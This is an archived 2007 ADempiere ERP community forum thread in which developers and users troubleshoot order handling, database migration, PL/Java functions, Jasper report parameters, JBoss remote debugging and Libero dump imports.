When you create a PO from a SO the S.Order# is placed in the P.Order Reference field. Couldn't you use this?

colin

2007-04-05 13:16:50 UTC

Yes,

problem is that we can not enter SO if we do not have item on the stock.

2007-04-05 13:20:37 UTC

you mena you have no stock or you have no product?
If yu have no product yuo cannot create the PO so you must mean you have no stock. that's ok, the sytem will tell you there is no stock but you can create the sales order anyway!

colin

2007-04-05 13:35:09 UTC

Yes,

but we defined attribute set instance (colors and some other attributes). When we create new attribute set instance in SO we can not save a record and message is "Insufficient quantity on hand".

2007-04-05 13:59:59 UTC

hmm I'm getting some Déjà Vu ... I seem to remember a conversation like this recently :)

The Instance Attriutes are intended for such things as Serial Numbers. I do not think they're "intended" as a general product description. If you look at the TShirts examples in gardenWorld. There is not simply a product called TShirts with Color & Size Attributes, but rather TShirt-GL (Green-Large) and TShirt-RL (Red-Large) products. These do use the color and size attributes (which are not instance attributes!) but the only use of these (non-instance) attributes is to help with searching. So in the product inquiry you enter the attributes Red & Large and it returns with TShirt-RL so many in stock at such and such a location.... it might also have returned Hat-RL & Short-RL.

The instance attribute is why you must have the stock. Or more correctly the instance. It's like saying I want to ship a unique serial numbered part but just make up a serial number. The system says, "well, we don't have that serial number!"

There may be a way of tricking it into doing what you want (perhaps create dummy product used to create the instances of the different colors???), but as I said at the start I don't think this was the intentional use so you'd want to test carefully!

colin

2007-04-05 14:33:34 UTC

I agree with you.

Problem is that we have additional product attributes like colors (interior and exterior) which customer defined when order product (car). So it seems to me that I can use instance attributes for that purpose without changing the code. Other possibility is when customer order product with specific additional attributes we will define new product. What you think about that??

Rgds,
Elvis

2007-04-08 13:43:44 UTC

One way I have tried where u can track orders for particular customers is by using the Project (Order) under the Project Management Module. First define the contract u have with the customer stating the ProjectName. And u use that contract created in the Project Order to finalise your profit margin before committing to the Order. When committed, you issue a SO from the Project Order. Then u generate back PO from SO. All records after this will retain the ProjectName. U can even assign Project expenses to that Project Order.

redl

2007-04-08 20:52:59 UTC

Thanks,

I will try.

2007-04-09 04:44:05 UTC

Hello,

Are there any tools or procedures for migrating ADempiere's database from Oracle (to be specific: Oracle XE) to PostgreSQL (8.2.x)?

Thanks in advance.

Warm regards,
Bahman

2007-04-09 06:11:50 UTC

Hi Bahman,

- > Are there any tools or procedures for migrating ADempiere's database
- > from Oracle (to be specific: Oracle XE) to PostgreSQL (8.2.x)?

please look at this thread:

http://sourceforge.net/forum/forum.php?thread_id=1707320&forum_id=610546

Regards,

Carlos Ruiz

2007-04-09 11:29:05 UTC

Hello everybody,

I have installed pljava and sqlj on ADempiere PostgreSQL database. Now, I have a JAR file which I would like to use its classes and functions, inside the database. How would I do so?

I issued the following:

```
select  
sqlj.install_jar('file:///home/bahman/bin/adempiere/3.1.6/Adempiere/lib/persiandate.jar',  
'bahman', true);
```

and it went alright but how would I use the JAR file? I tried the following:

```
select bahman.DateConvector.gregorianToJalali(bahman.GeneralDate(2007, 4, 9));
```

and got this error:

```
ERROR: schema "bahman" does not exist
```

Anything other than "bahman" (e.g. adempiere or sqlj) leads to this error:

```
ERROR: function sqlj.generaldate(integer, integer, integer) does not exist at ...
```

Can anyone help me use the JAR file? Thanks in advance.

Warm regards,
Bahman

PS: JDK 1.5, Pg 8.2, PLJava 1.3, ADempiere 3.1.6, Linux
Sorry if this question should be on Pg forums :-)

2007-04-09 11:46:33 UTC

Check postgres dump with editor. There you can find some hints.

2007-04-09 13:19:41 UTC

Hi,

You should ask this in postgresql or pljava forum instead.

2007-04-09 15:38:15 UTC

Well, the problem is now solved. Just in case some other ADempiere-ian faces the same problem I put what I've done, here:

```
select sqlj.install_jar('file:///home/bahman/src/ws-  
adempiere/adempiere_local/persianUtils/persianUtils.jar', 'persianutils', true);
```

```
create function to_persian_date(gregoriandate timestamp) returns varchar  
as $$org.adempiere.util.PersianUtilsWrapper.gregorianToJalali(java.sql.Timestamp)$$  
language java;
```

```
alter function to_persian_date(gregoriandate timestamp) owner to adempiere;
```

```
select sqlj.set_classpath('public', 'persianutils');
```

```
select public.to_persian_date(localtimestamp);
```

Warm regards,
Bahman

2007-04-05 02:07:05 UTC

Hi community,

Currently for customizations Adempiere is evaluating the model classes in this order

(MTable.getClass)

compiere.model

adempiere.model

org.compiere.model

org.compiere.wf

org.compiere.print

org.compiere.impexp

The problem with customizations and verticals is that we need a mechanism to look for classes in other packages as well.

i.e. libero needs to look for model classes in org.evolution package

I'm thinking on the best (and easy) way to achieve this, and want to hear opinions from

community.

My first thinking would be to add a column ModelPackages in AD_Client and allow to put there packages separated by semicolon.

Then change MTable.getClass in order to search M and X_ classes in the packages registered there.

What do you think?

Regards,

Carlos Ruiz

2007-04-05 09:23:52 UTC

Hi Carlos,

>The problem with customizations and verticals is that we need a mechanism to look for >classes in other packages as well.

>i.e. libero needs to look for model classes in org.evolution package

>

>I'm thinking on the best (and easy) way to achieve this, and want to hear opinions from >community.

>

>My first thinking would be to add a column ModelPackages in AD_Client and allow to put there >packages separated by semicolon.

>Then change MTable.getClass in order to search M and X_ classes in the packages registered >there.

I see two ways:

1) Integrate some plugin framework like JPF (<http://jpf.sourceforge.net/>). From my experince this is very good framework, but applying it to Adempiere will take more time.

2) >add a column ModelPackages in AD_Client and allow to put there >packages separated by >semicolon.

>Then change MTable.getClass in order to search M and X_ classes in the packages registered >there.

I see one small issue with this approach.

Every system have to know about other packages in order to avoid overriding value of column "ModelPackages". For example on my system i will add "org.aaa.bbb" on the remote system it could be "com.ccc" when i deploy it on other system i can't do it automatialy as i need to check what is already existing value of column "ModelPackages". New value must be "com.ccc, org.aaa.bbb"!

This is not a big problem but automation of this process is very important for me as this would save effrot in the long run.

I think that we can add new table AD_Client_Package. Each record in this table can hold information for one package.

By this way we can add additional information for each package and we can easily add new properties to packages in future when needed.

Kind regards,
Trifon

2007-04-05 10:24:30 UTC

for the long term....

I just recently became aware of OSGi

http://www.osgi.org/osgi_technology/index.asp?section=2#Problem

I still don't know much about it yet but on the face of it it seems to be a standard for what wish to achieve. Just reading the blurb on their website and I see the eclipse plugins are actually an implementation of this!

I became aware of it because it is supported by the Spring Framework.

I haven't studied it so I can say for sure, but I imagine it's a big change.... hence i say it's for the long term!

colin

2007-04-05 12:16:08 UTC

I can think of 2 ideas here -

1. add a modelPackage field to ad_table. This field can be optional, if it is null, the current lookup sequence is use otherwise the field value is use as the package name for po class instead.

2. Same as what Trifon have proposed.

And yes, osgi is a great module architecture but it is not something we can add into the adempiere core in a short amount of time.

Regards,
Low

2007-04-09 06:20:30 UTC

Summarizing the ideas, I think we could add the ModelPackages, ModelValidatorClass and priority in AD_Package_Imp_Inst, and make the window to maintain it read/write (currently is read-only).

The idea of adding modelPackage into ad_table doesn't sound good for me because we can have the same class in several classes.

Anyway this scenario must put us to think that the best way to extend would be ModelValidator's, not through extending Model classes (obviously we can extend model classes to be used by ModelValidator, but don't think a good idea to overwrite a model core class)

Regards,

Carlos Ruiz

2007-04-09 13:34:29 UTC

Hi carlos,

How about just add the poClass field to ad_table storing the fully qualified className of the associated po class. This way, it is very fast as no lookup is needed. The existing lookup algorithm can be use when the poClass field is null.

2007-04-09 16:04:35 UTC

Hi,

There are some limits in 2pack way that 1) if Application Ditionary is packed as a package, 2pack will contain self. 2) at current 2pack implementation, all element like table, seed data, column and so on is put into a xml, if pack is bigger, to maintance this file is difficult.

So, other policy should be considered:

- 1) In the future, a small framework will occur. this frmaework will act as a launcher, updater and package management which include a registry. this registry should be a file, not be store in db.
- 2) each package have some base definition such as lib, src, data, entity and so on in a xml file a package xml should be simple, each item should be simle.

3) maybe eclipse or jpf or spring rcp should be fit. to archive this step is a long term task, but we seperate this process into multi step:

Step1:

- 1) to refactor current code base to a small base framework and multi package. we do one's best not to change code only change directory structure, table ddl and seed data.
- 2) to change build.xml to seperated package.
- 3) don't change build result, only put table ddl and seed data into a data directory
- 4) simply to change setup process.

Step2:

- 1) this time, it is time to import inot plugin framework.
- 2) to add some interface
- 3) to change build process
- 4) to add plicy to hanle dynamic report, table, column, and new window to new framework

Step3:

1) web project is handled

...

Simple idea

Noah

2007-04-09 21:50:34 UTC

Hi Heng Sin, the problem I see is if several packages change the same model class.

Scenario:

1 - Libero package change MOrder class, so we mark MOrder to be looked on org.evolution and org.evolution.MOrder simply extends org.compiere.MOrder

2 - but then suppose another package yyyy needs to change MOrder in some way too, suppose org.yyyy changes MOrder extending from org.compiere.MOrder too

It will be a big problem if user needs to install libero and yyyy at the same time. Which MOrder class must/can be used, one of them will disable the usage of the other package.

Obviously this scenario is not solved with the ad_package_imp column. So, what I think is that we must avoid changing core Model classes.

Regards,

Carlos Ruiz

2007-04-11 11:36:21 UTC

Hi,

System : AD 3.1.5 pg 3.2.3 WinXP

When we try Requisition Creation via the Process Replenishment Report, it gives the following :

TRACE BEGIN :

```
DB.executeUpdate: INSERT INTO M_Requisition
(AD_Org_ID,AD_User_ID,C_DocType_ID,DateDoc,DateRequired,Description,DocActi
on,DocStatus,DocumentNo,IsActive,IsApproved,M_Requisition_ID,M_Warehouse_ID,P
osted,PriorityRule,Processed,Processing,TotalLines,Updated,AD_Client_ID,UpdatedBy,
Created,CreatedBy) VALUES (1000000,100,1000017,TO_TIMESTAMP('2007-04-
```

```
11,'YYYY-MM-DD'),TO_TIMESTAMP('2007-04-11','YYYY-MM-DD'),'Inventory
Replenishment','CO','DR','900001','Y','N',1000001,1000000,'N','5','N','N',0,TO_TIMEST
AMP('2007-04-11 16:43:30','YYYY-MM-DD
HH24:MI:SS'),1000000,100,TO_TIMESTAMP('2007-04-11 16:43:30','YYYY-MM-DD
HH24:MI:SS'),100) [SvrProcess_e332d412-f558-49c9-b09a-cb769c2d832a] [77]
org.postgresql.util.PSQLException: ERROR: null value in column "m_pricelist_id"
violates not-null constraint; State=23502; ErrorCode=0
```

TRACE END :

We tried, just as a trial, "requisition.setM_PriceList_ID(1000000); " in
createRequisition.ReplenishmentReport.java and that solves.

Regards,

Sam24368

2007-04-10 11:08:15 UTC

Hallo everybody,

I have good experience in Java and would like to help, however in small projects, to be
frank, I have never worked in such a huge project.

I have checked out the code(all the projects) for starting helping, and find it a little bit
confusing where to start, is there any guide for new developers?

to be more concrete :

-the package descriptions in the javadoc is too little or not existing, two lines of
description for each package would suffice.

-how about testing, what is the strategy that you follow in such huge projects?if a bug is
fixed, what is the best way to test only that part.

I would highly appreciate any tips for helping finding the way quicker.

thanks

2007-04-11 08:40:28 UTC

I am also searching for good documentation.

specially the architecture and model of the Adempiere ERP.

Without understanding the underlying architecture it is
very difficult to understand the code .

thanks

azad

2007-04-11 13:09:19 UTC

Hello azad and WhitePeace,

Currently there is not an all-in-one document which you wish to find. The community is trying to gather the things in one place but for now the instructions are scattered a bit. You may find answers for much of your questions by searching in AdempiereWiki (<http://www.adempiere.com/wiki/index.php/ADempiere>) SourceForge forums (http://sourceforge.net/forum/?group_id=176962) and in addition, if you have any problem that you didn't find the answer on Wiki and forums, ask it here or in IRC and it's very likely that someone will help you!

But for now the following links may prove helpful:

http://sourceforge.net/forum/forum.php?thread_id=1710197&forum_id=610546

http://sourceforge.net/forum/forum.php?thread_id=1680666&forum_id=610548

http://www.adempiere.com/wiki/index.php/Training_Courses

<http://www.adempiere.com/wiki/index.php/Tutorials>

Welcome to the Bazaar!

Warm regards,

Bahman

2007-04-11 14:09:19 UTC

Hi,

When we do the above process, following error is displayed :

BEGIN TRACE :

MOrderLine.setPrice:

MOrderLine[0,Line=0,Ordered=0,Delivered=0,Invoiced=0,Reserved=0, LineNet=0] -
M_PriceList_ID=1000003 [212]

```
19:31:45.031 DB_PostgreSQL.convertStatement: PostgreSQL =>SELECT  
bomPriceStd(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceStd,  
bomPriceList(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceList,  
bomPriceLimit(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceLimit,  
p.C_UOM_ID,pv.ValidFrom,pl.C_Currency_ID,p.M_Product_Category_ID,pl.EnforcePr  
iceLimit FROM M_Product p INNER JOIN M_ProductPrice pp ON  
(p.M_Product_ID=pp.M_Product_ID) INNER JOIN M_PriceList_Version pv ON  
(pp.M_PriceList_Version_ID=pv.M_PriceList_Version_ID) INNER JOIN M_Pricelist pl  
ON (pv.M_PriceList_ID=pl.M_PriceList_ID) WHERE pv.IsActive='Y' AND  
p.M_Product_ID=? AND pv.M_PriceList_ID=?ORDER BY pv.ValidFrom DESC<=  
<SELECT bomPriceStd(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceStd,  
bomPriceList(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceList,  
bomPriceLimit(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceLimit,  
p.C_UOM_ID,pv.ValidFrom,pl.C_Currency_ID,p.M_Product_Category_ID,pl.EnforcePr
```

```
iceLimit FROM M_Product p INNER JOIN M_ProductPrice pp ON
(p.M_Product_ID=pp.M_Product_ID) INNER JOIN M_PriceList_Version pv ON
(pp.M_PriceList_Version_ID=pv.M_PriceList_Version_ID) INNER JOIN M_Pricelist pl
ON (pv.M_PriceList_ID=pl.M_PriceList_ID) WHERE pv.IsActive='Y' AND
p.M_Product_ID=? AND pv.M_PriceList_ID=?ORDER BY pv.ValidFrom DESC> [212]
19:31:45.046 MProductPricing.calculatePL: Not found (PL) [212]
19:31:45.046 DB_PostgreSQL.convertStatement: PostgreSQL =>SELECT
bomPriceStd(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceStd,
bomPriceList(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceList,
bomPriceLimit(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceLimit,
p.C_UOM_ID,pv.ValidFrom,pl.C_Currency_ID,p.M_Product_Category_ID,
pl.EnforcePriceLimit, pl.IsTaxIncluded FROM M_Product p INNER JOIN
M_ProductPrice pp ON (p.M_Product_ID=pp.M_Product_ID) INNER JOIN
M_PriceList_Version pv ON
(pp.M_PriceList_Version_ID=pv.M_PriceList_Version_ID) INNER JOIN M_Pricelist
bpl ON (pv.M_PriceList_ID=bpl.M_PriceList_ID) INNER JOIN M_Pricelist pl ON
(bpl.M_PriceList_ID=pl.BasePriceList_ID) WHERE pv.IsActive='Y' AND
p.M_Product_ID=? AND pl.M_PriceList_ID=?ORDER BY pv.ValidFrom DESC<=
<SELECT bomPriceStd(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceStd,
bomPriceList(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceList,
bomPriceLimit(p.M_Product_ID,pv.M_PriceList_Version_ID) AS PriceLimit,
p.C_UOM_ID,pv.ValidFrom,pl.C_Currency_ID,p.M_Product_Category_ID,
pl.EnforcePriceLimit, pl.IsTaxIncluded FROM M_Product p INNER JOIN
M_ProductPrice pp ON (p.M_Product_ID=pp.M_Product_ID) INNER JOIN
M_PriceList_Version pv ON
(pp.M_PriceList_Version_ID=pv.M_PriceList_Version_ID) INNER JOIN M_Pricelist
bpl ON (pv.M_PriceList_ID=bpl.M_PriceList_ID) INNER JOIN M_Pricelist pl ON
(bpl.M_PriceList_ID=pl.BasePriceList_ID) WHERE pv.IsActive='Y' AND
p.M_Product_ID=? AND pl.M_PriceList_ID=?ORDER BY pv.ValidFrom DESC> [212]
19:31:45.078 MProductPricing.calculateBPL: Not found (BPL) [212]
19:31:45.078 MOrderLine.set_ValueNoCheck: PriceActual = 0 (java.math.BigDecimal)
[212]
19:31:45.078 MOrderLine.set_Value: PriceList = 0 [212]
19:31:45.078 MOrderLine.set_Value: PriceLimit = 0 [212]
19:31:45.078 MOrderLine.set_Value: PriceEntered = 0 [212]
19:31:45.078 MOrderLine.set_Value: Discount = 0 [212]
19:31:45.078 MOrderLine.set_ValueNoCheck: C_UOM_ID = 100 (java.lang.Integer)
[212]
=====> MOrderLine.saveError: Error - Product is not on PriceList [212]
-----> MOrderLine.save: beforeSave failed -
MOrderLine[0,Line=0,Ordered=0,Delivered=0,Invoiced=0,Reserved=0, LineNet=0]
[212]
-----> RequisitionPOCreate.process: Cannot save Order Line [212]
SystemError: Cannot save Order Line
```

TRACE END :

We are confused as why it's referring to bompricelist, bompricestd in sqlj ?

Is this a bug?

Regards

Sam24368

2007-04-12 06:17:26 UTC

how much is database size limits on adempiere,
so the application still run fast?

if the size limits reached,
how can we backup partial data, and restore some other time?

how can we backup all data on adempiere,
for use as data warehousing,
to access offline by user, just for reporting only?

regards
titusw

2007-04-12 01:16:39 UTC

Hi ,

If we suspect some issue as a bug, is that suspicion alone enough to report it as a bug ?
We made two threads that, we suspect - but not sure, are bugs.

http://sourceforge.net/forum/forum.php?thread_id=1712839&forum_id=610548

http://sourceforge.net/forum/forum.php?thread_id=1712761&forum_id=610548

Should we report them straight away as bugs ?

Regards

Sam24368

2007-04-12 04:08:06 UTC

Hi Sam, I think is ok if you open the bugs, but it will be very valuable if you first check that bug can be reproduced with GardenWorld in last version (316, even better if you can reproduce it in trunk).

If it's "reproducible" in GW, and you put the steps to reproduce it, it will be a big chance that we can catch and fix the error easily.

Regards,

Carlos Ruiz

2007-04-12 09:01:45 UTC

Actually what I've been advocating in

http://www.adempiere.com/wiki/index.php/QAStart#So_you_think_you_found_a_new_bug..E2.80.93_what_now.3E

is if you are unsure... create a Support Request.

That way it's separated & highlighted from the simply questions in the forums, we can manage it with statuses etc, and it doesn't fill the Bugs section with maybe bugs.

colin

2007-04-04 12:54:02 UTC

hi every1,

i read the almeida's post about passing parameters from adempiere to JR but i did not discovered how to make it work yet,...

the problem that we have is that we created a tab "leaves" and at the end of this tab we made a button "print leaves" which needs to call certain jasper report (and print this current leave).

so we defined in column of leaves table on column to be "button print", we defined process "print leaves" which prints just fine (with parameters entered by hand)

now the only problem is that we dont know how to pass the leaves_id to jasper report when user clicks "print" so that only current leave is shown..

2007-04-11 19:57:53 UTC

Hi Mahir,

you need to define new Process Parameter.
Window "Process.."
tab "Parameter"

Most important is to set column name to be equal to the report parameter you define in Jasper reports.

"leaves_id"

In Compiere please set default value for your process parameter to be "@leaves_id@" this will populate leave_id and will pass correct value to Jasper reports.

Kind regards,
Trifon

2007-04-12 09:34:29 UTC

yes yes! it works trifon! u the MAN!

2007-04-11 13:40:23 UTC

Hi every1,

i was wondering how can we manage to create dynamic dropdown menus like the one used in the login form (depending on the role you choose organization dropdown menu is changed automatically)..

so we want inside some window that dropdown_menu_2 is depending on the choice user makes in dropdown_menu_1

greetings,
mahir

2007-04-11 14:21:39 UTC

Hi,

This is possible using dynamic validations (see AD_Val_Rule).

Best regards,
Teo Sarca

2007-04-12 09:35:31 UTC

great great! tnx! works smooth

2007-04-12 12:45:01 UTC

Hi guys

i am newbie in adempiere. i have download adempiere source from trunk on 6th of april. and build it by running ant on utils_dev/build.xml. i want to use FYRACLE as backend. but there is no option for fyracle in database type when i run setup from my build as available in sourceforge zip release. when i track down, i found there is no option like fyracle in org.compiere.install.ConfigurationData class, there is only 3 options in DBTYPE (DBTYPE_ORACLEXE, DBTYPE_ORACLE, DBTYPE_POSTGRESQL).

Is there some different branch for fyracle or i am doing something wrong.

Thanks in advance.

2007-04-12 12:55:32 UTC

> Is there some different branch for fyracle or i am doing something wrong.

The fyracle support was dropped because of lack of maintainers.

Best regards,
Teo Sarca

2007-04-14 13:35:28 UTC

Hello,

Would anyone please help me find the way to debug the ADempiere server-side code (like document posting)?

There's a document on red1.org (<http://red1.org/compiere/RemoteDebug.zip>) but looks like it's a bit outdated. Maybe I am wrong?

By the way, I use Eclipse, JDK1.5 and Pg8.2.

Thanks in advance!

Warm regards,
Bahman

2007-04-14 13:57:26 UTC

Hi,

>Would anyone please help me find the way to debug the ADempiere server-side code

(like document posting)?

>There's a document on red1.org (<http://red1.org/compiere/RemoteDebug.zip>) but looks like it's a bit outdated. Maybe >I am wrong?

Debugging remote Java machine is the same. So this document should help you.

you just need to:

- 1) Enable remote debug on jboss server.
- 2) In Eclipse start Adempiere with debug icon.

If in your Eclipse IDE you have multiple projects then by default there must be Adempiere launch task in Eclipse menu.

Menu "Run" -> "Run..." -> "Java Application".

Kind regards,
Trifon

2007-04-14 14:33:12 UTC

Hi Bahman,

i made small mistake.

>>you just need to:

- >1) Enable remote debug on jboss server.
- >2) In Eclipse start Adempiere with debug icon.

>

>If in your Eclipse IDE you have multiple projects then by default there must be Adempiere launch task in Eclipse menu.

>

>Menu "Run" -> "Run..." -> "Java Application".

Second step is:

- 2) In Eclipse start "Remote Debug Adempiere" with debug icon.

I just committed Remote Debug Adempiere.launch in serverRoot project.
Please update your SVN repository and you should get new menu item under Debug menu.

Kind regards,
Trifon

2007-04-15 06:31:20 UTC

Hello Trifon,

Thank you very much for the hints and the launch file! It's working for me.

Warm regards,
Bahman

PS: By the way, I added the following two lines to jboss/run.sh in order to enable JBoss remote debugging feature:

```
JAVA_OPTS="$JAVA_OPTS -Xms128m -Xmx128m -  
Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000"  
JAVA_OPTS="-Xdebug -  
Xrunjdw:transport=dt_socket,address=8000,server=y,suspend=y $JAVA_OPTS"
```

2007-04-15 08:09:06 UTC

Hi Bahman,

you are welcome!

Just one question.
Why do you say that you added?

in Adempiere\jboss\bin\run.bat you can find below lines:

```
rem Setup JBoss specific properties  
set JAVA_OPTS=%JAVA_OPTS% -Dprogram.name=%PROGNAME%  
set JBOSS_HOME=%DIRNAME%\..
```

```
rem Sun JVM memory allocation pool parameters. Modify as appropriate.  
set JAVA_OPTS=%JAVA_OPTS% -Xms128m -Xmx512m
```

```
rem JPDA options. Uncomment and modify as appropriate to enable remote debugging.  
rem set JAVA_OPTS=-classic -Xdebug -Xnoagent -Djava.compiler=NONE -  
Xrunjdw:transport=dt_socket,address=8787,server=y,suspend=y %JAVA_OPTS%
```

You njust need to uncomment them.

Kind regards,
Trifon

2007-04-15 08:51:47 UTC

Trifon,

I didn't see something similar in run.sh but, you're right. It was in jboss/bin/run.conf.

Thank you again!

Warm regards,
Bahman

2007-04-15 03:26:50 UTC

What is the Adempiere recommended way to represent portable bit strings. For example, a TSUSA record in our project has a list of binary flags (from a legacy language):

* FLAG BITS
* SPECIAL PROGRAM INDICATORS - PRIMARY
TSGSP EQU X'1000' GENERAL SYSTEM PREFERENCE (A)
TSGSPM EQU X'2000' GSP MAY APPLY (A*)
TSAUTO EQU X'4000' AUTO PRODUCTS (B)
TSCATA EQU X'8000' CIVIL AIRCRAFT (C)
TSCBI EQU X'0100' ELIGIBLE FOR CBI (E)
TSXCBI EQU X'0200' EXCLUDED FROM CBI (E*)
* SPECIAL PROGRAM INDICATORS - COUNTRY
TSISRS EQU X'0400' ISRAEL SPECIAL RATE (I)
TSISR1 EQU X'0800' ISRAEL COLUMN 1 RATE (I*)
TSISSP EQU X'0010' ISRAEL SPECIAL RATES (IL)
TSCFTA EQU X'0020' CANADA (CA)
* SPECIAL PROGRAM INDICATORS - SECONDARY
TSFOLK EQU X'0040' FOLKLORE APPLIES (F)
TSSPIG EQU X'0080' ?? (G)
TSFABR EQU X'0001' FABRIC (H)

The list must be extendable. I am suspecting that bit strings are not portable. How is this handled in Adempiere elsewhere?

2007-04-15 08:13:57 UTC

Hi,

>What is the Adempiere recommended way to represent portable bit strings. For example, a TSUSA record in our project >has a list of binary flags (from a legacy language):

>

>* FLAG BITS
>* SPECIAL PROGRAM INDICATORS - PRIMARY

I'm a bit confused. What are this portable bit strings?
What is their use and what they represent?
Products or some attributes to products or something else?

Kind regards,
Trifon

2007-04-16 03:39:24 UTC

- > I'm a bit confused. What are these portable bit strings?
- > What is their use and what they represent?
- > Products or some attributes to products or something else?

This is for US import (we are attempting to port our system). The US tariff schedule records have many flags. Flags in Adempiere are generally single chars - apparently due to older versions of Oracle not being able to handle anything else. The set of flags can change with every new bill from congress. Bit strings are the obvious SQL datatype to use, but they are apparently not widely implemented.

2007-04-16 04:38:19 UTC

- > Bit strings are the obvious SQL datatype to use,
- > but they are apparently not widely implemented.

Just my personal opinion here.

1 - it can raise problems about database independence
** if there are database that doesn't manage bit strings
** if the management of bit strings are different for each database
(I remember some databases - don't remember is if oracle issue - manage bits in different order for different operating systems)

2 - Not sure if is the obvious SQL datatype
The "bit-packaging" was an approach when hard-disk space was expensive, but this is not the case currently, and a char(1) Y/N field is easily managed in EVERY PROGRAM out there.

Suppose that Adempiere manage a bit-packaged field and you want to export/report something in spreadsheet, then some conversion layer must be done to show properly the bit string, but with Y/N is immediate.

My recommendation: for flags simply use the Yes-No Adempiere type.

Regards,

Carlos Ruiz

2007-04-16 23:22:29 UTC

For this reference database, there are about 150K records. The difficulty with a field per flag is that the set of flags changes. Perhaps a varchar field with letter sets. That is how

the data comes from US Customs. Each flag has a two char code, and each record can have up to 6 flags set.

2007-04-18 01:38:32 UTC

This will help solve many character encoding issue:

<http://www.eclipsezone.com/eclipse/forums/t93442.rhtml>

2007-04-19 04:23:47 UTC

I think I remember that submitting as a bug was not wanted unless verified as a real bug. Anyway should the following change be made so this imports to postgres.

```
--- migration/316-
trunk/postgresql/001_add_c_acctschemaisallownegativeposting_pgsql.sql (revision
2158)
+++ migration/316-
trunk/postgresql/001_add_c_acctschemaisallownegativeposting_pgsql.sql (working
copy)
@@ -101,7 +101,7 @@
SELECT e.ad_element_id, l.AD_LANGUAGE, e.ad_client_id, e.ad_org_id,
e.isactive, e.created, e.createdby, e.updated, e.updatedby, e.NAME,
e.printname, e.description, e.HELP, e.po_name, e.po_printname,
- e.po_description, e.po_help, 'N' istranslated
+ e.po_description, e.po_help, 'N'
FROM AD_ELEMENT e, AD_LANGUAGE l
WHERE e.ad_element_id = 50065
AND l.issystemlanguage = 'Y'
@@ -117,7 +117,7 @@
created, createdby, updated, updatedby, NAME, istranslated)
SELECT c.ad_column_id, l.AD_LANGUAGE, c.ad_client_id, c.ad_org_id,
c.isactive, c.created, c.createdby, c.updated, c.updatedby, c.NAME,
- 'N' istranslated
+ 'N'
FROM AD_COLUMN c, AD_LANGUAGE l
WHERE c.ad_column_id = 50210
AND l.issystemlanguage = 'Y'
@@ -134,7 +134,7 @@
istranslated)
SELECT f.ad_field_id, l.AD_LANGUAGE, f.ad_client_id, f.ad_org_id,
f.isactive, f.created, f.createdby, f.updated, f.updatedby, f.NAME,
- f.description, f.HELP, 'N' istranslated
+ f.description, f.HELP, 'N'
FROM AD_FIELD f, AD_LANGUAGE l
WHERE f.ad_field_id = 50180
```

```
AND l.issystemlanguage = 'Y'  
@@ -145,4 +145,4 @@  
WHERE ft.ad_field_id = f.ad_field_id  
AND ft.AD_LANGUAGE = l.AD_LANGUAGE);
```

```
-COMMIT ;  
\ No newline at end of file  
+COMMIT ;
```

2007-04-18 07:24:03 UTC

I downloaded and built libero from svn(branches/libero directory) but I can't see any difference from adempiere.

2007-04-18 07:49:20 UTC

Did you imported the right database dump? Libero's one is data/seed/AdempiereLibero_pg.jar.

Warm regards,
Bahman

2007-04-18 08:21:09 UTC

No, I didn't.

Do I need to import dump file from AdempiereLibero.jar?

I tried but there are some errors.

P.S;
I use Oracle database.

2007-04-18 08:47:37 UTC

> Do I need to import dump file from AdempiereLibero.jar?

Sorry! I forgot that you may use Oracle :-)

Yes, if you're using Oracle, use AdempiereLibero.jar and perhaps you should rename the dmp file to Adempiere.dmp.

> I tried but there are some errors.

You mean you tried AdempiereLibero.jar and it gave errors? What kind of errors? Have you run RUN_setup prior to import?

Warm regards,
Bahman

2007-04-18 10:14:44 UTC

Errors occurred because I tried to import ExpDat.dmp file from AdempiereLibero.jar before the execution of RUN_ImportAdempiere.bat script.

After that I did following:

1. execution of RUN_ImportAdempiere.bat
2. importing of ExpDat.dmp file

but I can't see any difference

Is this correct?

Thanks, in advanced.

2007-04-18 10:41:31 UTC

No!

I haven't done this for Oracle but as far as I can see in the import scripts, it looks for the Adempiere.dmp file. So I'd suggest renaming 'ExpDat.dmp' to 'Adempiere.dmp' and trying again.

Hope it helps.

Warm regards,
Bahman

2007-04-18 11:22:19 UTC

I did exactly what you wrote but I still get error.

This is the error I get:

Warning: the objects were exported by ADEMPIERE, not by you

```
import done in WE8MSWIN1252 character set and UTF8 NCHAR character set
import server uses UTF8 character set (possible charset conversion)
export client uses US7ASCII character set (possible charset conversion)
export server uses AL16UTF16 NCHAR character set (possible ncharset conversion)
IMP-00034: Warning: FromUser "REFERENCE" not found in export file
Import terminated successfully with warnings.
```

-

2007-04-18 16:26:21 UTC

RUN_DBImportAdempiere tries to import Adempiere.dmp from user Reference

RUN_DBRestore tries to import ExpDat.dmp from user defined in setup (normally adempiere)

So, I think you can try with ExpDat.dmp with RUN_DBRestore.

Regards,

Carlos Ruiz

2007-04-19 07:09:22 UTC

It works.

Thanks.

2007-04-19 07:44:50 UTC

Can I import libero database to oracle schema different from adempiere?

2007-04-18 15:17:06 UTC

Hi, I've a question about the Jasper Report integration: most queries in the reports are based on client and organization match in the where clause. Should I define those parameter manually in each process or the ReportStarter class just add them for himself? If this is to be done manually, is it possible to set the default logic using @AD_Client_ID@ and hide those parameter to the user?

Thanks

Angelo

2007-04-18 16:00:10 UTC

Hi Angelo,

>most queries in the reports are based on client and organization match in the where clause. Should I define those >parameter manually in each process or the ReportStarter class just add them for himself?

Yes, you need to define this parameters manually in both Adempiere process window and Jasper Reports. They must have the same name(please pay attention to capital letter).

>If this is to be done manually, is it possible to set the default logic using @AD_Client_ID@ and hide those parameter >to the user?

Yes. You can use @AD_Client_ID@ ir @#AD_Client_ID@. The same applies for AD_Org and any other parameter.

Kind regards,
Trifon

2007-04-18 17:50:26 UTC

In my reports, i've used the AD_PInstance_ID to select Client, Organization and User informations.

In ReportStarter.java, insert the line below:

```
params.put("AD_PINSTANCE_ID", new Integer( AD_PInstance_ID));
